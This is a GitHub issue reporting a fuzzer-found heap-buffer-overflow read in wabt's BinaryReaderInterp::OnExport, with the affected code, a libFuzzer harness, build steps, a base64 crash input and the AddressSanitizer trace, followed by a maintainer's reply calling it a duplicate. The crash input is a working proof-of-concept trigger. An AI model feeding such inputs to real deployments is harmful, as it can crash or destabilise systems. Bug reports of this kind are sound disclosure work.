Skip to content

A Heap-based Buffer Overflow in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnExport #2556

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
sae-as-me opened this issue Mar 6, 2025 · 1 comment

Comments

@sae-as-me
Copy link

Hi,
this is an issue found by fuzzing the current main branch.

Affected Projects

wabt v1.0.36 (https://github.com/WebAssembly/wabt)

Problem Type

CWE-122: Heap-based Buffer Overflow

Description

Details

A heap-buffer-overflow vulnerability arises in the wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnExport function defined in wabt/src/interp/binary-reader-interp.cc at line 693. This issue occurs when processing certain malformed files and calls the function FuncType::Clone() in the first case of the switch statement, leading to an out-of-bounds read and potential application crash, resulting in a read operation beyond the allocated memory.

Result BinaryReaderInterp::OnExport(Index index,
                                    ExternalKind kind,
                                    Index item_index,
                                    std::string_view name) {
  CHECK_RESULT(validator_.OnExport(GetLocation(), kind,
                                   Var(item_index, GetLocation()), name));

  std::unique_ptr<ExternType> type;
  switch (kind) {
    case ExternalKind::Func:   type = func_types_[item_index].Clone(); break;    //<== heap-buffer-overflow
    case ExternalKind::Table:  type = table_types_[item_index].Clone(); break;
    case ExternalKind::Memory: type = memory_types_[item_index].Clone(); break;
    case ExternalKind::Global: type = global_types_[item_index].Clone(); break;
    case ExternalKind::Tag:    type = tag_types_[item_index].Clone(); break;
  }
  module_.exports.push_back(
      ExportDesc{ExportType(std::string(name), std::move(type)), item_index});
  return Result::Ok;
}

PoC

Steps to reproduce:

  1. Clone the wabt repository and build it using the following commands :
export CC='clang'
export CXX='clang++'
export CFLAGS='-fsanitize=address -g'
export CXXFLAGS='-fsanitize=address -g'

mkdir build
cd build
cmake ..
cmake --build . --parallel
cd ..
  1. Compile fuzzer using a harness of oss-fuzz:
  • Harness
#include <cstddef>
#include <cstdint>

#include <fuzzer/FuzzedDataProvider.h>

#include "wabt/binary-reader.h"
#include "wabt/interp/binary-reader-interp.h"
#include "wabt/interp/interp.h"
#include "wabt/ir.h"
#include "wabt/option-parser.h"

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
  wabt::Errors errors;
  wabt::Features features;
  wabt::interp::ModuleDesc module;
  FuzzedDataProvider data_provider(data, size);

#define WABT_FEATURE(variable, flag, default_, help) \
  if (data_provider.ConsumeBool()) { features.enable_##variable(); }
#include "wabt/feature.def"
#undef WABT_FEATURE
  // Add only feature related options, but no logging, stop_on_first_error, etc.
  wabt::ReadBinaryOptions options(features, nullptr, false, false, false);
  std::vector<uint8_t> text = data_provider.ConsumeRemainingBytes<uint8_t>();
  ReadBinaryInterp("<fuzzer>", text.data(), text.size(), options, &errors,
                   &module);
  return 0;
}
  • Compile
clang++ -fsanitize=address,fuzzer -g -std=c++17 -I. -Ibuild -Iinclude -Ibuild/include read_binary_interp_fuzzer.cc ./build/libwabt.a -o read_binary_interp_fuzzer
  1. Run the fuzzer to trigger the segmentation fault:
echo -n "AGFzbQEAAAABc2BgAABgAABgAAAAAEAeYJ5//2BgZAAAAAAeHgRgj2CCAw5kDg4vDiUODg5kDmQANQ5/fwAADh46YA4OYP5/IA4OggBAHg5kYA5gHn//AwAAAQBkHg4OHh4N7h4EXwMeYA4ODg4eYPwOHqAOYLoODh4eAw4ODg4ODg5/A4IOgA4OYA4ODh5gZBgeDh4AAACAHx5gHg5//38BAA4DHg4zDmAODg4DHg4AAGAAgAAA/wBgDoIOhgAeoWAADmAeAA4OAGBkDgQOAAAOAKFH/2QDdQAe/w6CDmQOHgAA/w4AAAAOAB4ODg6jDkcOAAMAGB4AA+hLAAcyDgkAAA8AAAAAAAAAAAQAAAEAAIAAAAACBQAAAAEAAAAAAAACAAAAAAQAABAAAAAAAAAAAAAAAAAODqMORw4AAAAAAAAAAAAAAABKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADg4ODg3vDiYPDg4ODg4ODg4AAAAAAAAAAAAAAB8AAAAODg4ABAAAAQAAgAACBQAAAAEAAAAAAAACAAADAwMDAwMDAwMDAwMDAwMeHgM=" | base64 -d > crash
./read_binary_interp_fuzzer ./crash

The invalid read access will cause AddressSanitizer to report a segmentation fault during the execution of the post-processing logic.

Report

Running: ./crash
=================================================================
==9892==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c0000000c0 at pc 0x5aa17433eb46 bp 0x7ffeca40f070 sp 0x7ffeca40f068
READ of size 8 at 0x60c0000000c0 thread T0
    #0 0x5aa17433eb45 in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnExport(unsigned int, wabt::ExternalKind, unsigned int, std::basic_string_view<char, std::char_traits<char> >) /fuzz/project/wabt/src/interp/binary-reader-interp.cc:693:63
    #1 0x5aa1744c2e61 in wabt::(anonymous namespace)::BinaryReader::ReadExportSection(unsigned long) /fuzz/project/wabt/src/binary-reader.cc:2778:5
    #2 0x5aa1744b54bf in wabt::(anonymous namespace)::BinaryReader::ReadSections(wabt::(anonymous namespace)::BinaryReader::ReadSectionsOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3033:26
    #3 0x5aa1744b2729 in wabt::(anonymous namespace)::BinaryReader::ReadModule(wabt::(anonymous namespace)::BinaryReader::ReadModuleOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3119:3
    #4 0x5aa1744b1393 in wabt::ReadBinary(void const*, unsigned long, wabt::BinaryReaderDelegate*, wabt::ReadBinaryOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3141:17
    #5 0x5aa17433823c in wabt::interp::ReadBinaryInterp(std::basic_string_view<char, std::char_traits<char> >, void const*, unsigned long, wabt::ReadBinaryOptions const&, std::vector<wabt::Error, std::allocator<wabt::Error> >*, wabt::interp::ModuleDesc*) /fuzz/project/wabt/src/interp/binary-reader-interp.cc:1720:10
    #6 0x5aa1743109fc in LLVMFuzzerTestOneInput /fuzz/project/wabt/../read_binary_interp_fuzzer.cc:39:3
    #7 0x5aa1742364a3 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/fuzz/project/wabt/read_binary_interp_fuzzer+0xf74a3) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #8 0x5aa17422021f in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/fuzz/project/wabt/read_binary_interp_fuzzer+0xe121f) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #9 0x5aa174225f76 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/fuzz/project/wabt/read_binary_interp_fuzzer+0xe6f76) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #10 0x5aa17424fd92 in main (/fuzz/project/wabt/read_binary_interp_fuzzer+0x110d92) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #11 0x7855505bbd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #12 0x7855505bbe3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #13 0x5aa17421aae4 in _start (/fuzz/project/wabt/read_binary_interp_fuzzer+0xdbae4) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)

0x60c0000000c0 is located 0 bytes to the right of 128-byte region [0x60c000000040,0x60c0000000c0)
allocated by thread T0 here:
    #0 0x5aa17430d8cd in operator new(unsigned long) (/fuzz/project/wabt/read_binary_interp_fuzzer+0x1ce8cd) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #1 0x5aa17437b289 in __gnu_cxx::new_allocator<wabt::interp::FuncType>::allocate(unsigned long, void const*) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/ext/new_allocator.h:127:27
    #2 0x5aa17437b210 in std::allocator_traits<std::allocator<wabt::interp::FuncType> >::allocate(std::allocator<wabt::interp::FuncType>&, unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/alloc_traits.h:464:20
    #3 0x5aa17437af2f in std::_Vector_base<wabt::interp::FuncType, std::allocator<wabt::interp::FuncType> >::_M_allocate(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/stl_vector.h:346:20
    #4 0x5aa174381f69 in void std::vector<wabt::interp::FuncType, std::allocator<wabt::interp::FuncType> >::_M_realloc_insert<wabt::interp::FuncType const&>(__gnu_cxx::__normal_iterator<wabt::interp::FuncType*, std::vector<wabt::interp::FuncType, std::allocator<wabt::interp::FuncType> > >, wabt::interp::FuncType const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/vector.tcc:440:33
    #5 0x5aa17437ff44 in std::vector<wabt::interp::FuncType, std::allocator<wabt::interp::FuncType> >::push_back(wabt::interp::FuncType const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/stl_vector.h:1198:4
    #6 0x5aa17433c3c0 in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnFunction(unsigned int, unsigned int) /fuzz/project/wabt/src/interp/binary-reader-interp.cc:594:15
    #7 0x5aa1744bee00 in wabt::(anonymous namespace)::BinaryReader::ReadFunctionSection(unsigned long) /fuzz/project/wabt/src/binary-reader.cc:2701:5
    #8 0x5aa1744b4fd7 in wabt::(anonymous namespace)::BinaryReader::ReadSections(wabt::(anonymous namespace)::BinaryReader::ReadSectionsOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3017:26
    #9 0x5aa1744b2729 in wabt::(anonymous namespace)::BinaryReader::ReadModule(wabt::(anonymous namespace)::BinaryReader::ReadModuleOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3119:3
    #10 0x5aa1744b1393 in wabt::ReadBinary(void const*, unsigned long, wabt::BinaryReaderDelegate*, wabt::ReadBinaryOptions const&) /fuzz/project/wabt/src/binary-reader.cc:3141:17
    #11 0x5aa17433823c in wabt::interp::ReadBinaryInterp(std::basic_string_view<char, std::char_traits<char> >, void const*, unsigned long, wabt::ReadBinaryOptions const&, std::vector<wabt::Error, std::allocator<wabt::Error> >*, wabt::interp::ModuleDesc*) /fuzz/project/wabt/src/interp/binary-reader-interp.cc:1720:10
    #12 0x5aa1743109fc in LLVMFuzzerTestOneInput /fuzz/project/wabt/../read_binary_interp_fuzzer.cc:39:3
    #13 0x5aa1742364a3 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/fuzz/project/wabt/read_binary_interp_fuzzer+0xf74a3) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #14 0x5aa17422021f in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/fuzz/project/wabt/read_binary_interp_fuzzer+0xe121f) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #15 0x5aa174225f76 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/fuzz/project/wabt/read_binary_interp_fuzzer+0xe6f76) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #16 0x5aa17424fd92 in main (/fuzz/project/wabt/read_binary_interp_fuzzer+0x110d92) (BuildId: c0864be1f6708aad3fe08c1534cae95b142fc7d9)
    #17 0x7855505bbd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /fuzz/project/wabt/src/interp/binary-reader-interp.cc:693:63 in wabt::interp::(anonymous namespace)::BinaryReaderInterp::OnExport(unsigned int, wabt::ExternalKind, unsigned int, std::basic_string_view<char, std::char_traits<char> >)
Shadow bytes around the buggy address:
  0x0c187fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c187fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c187fff8010: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
  0x0c187fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==9892==ABORTING
@SoniEx2
Copy link
Collaborator

SoniEx2 commented Mar 6, 2025

we believe this is a duplicate of #2537

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants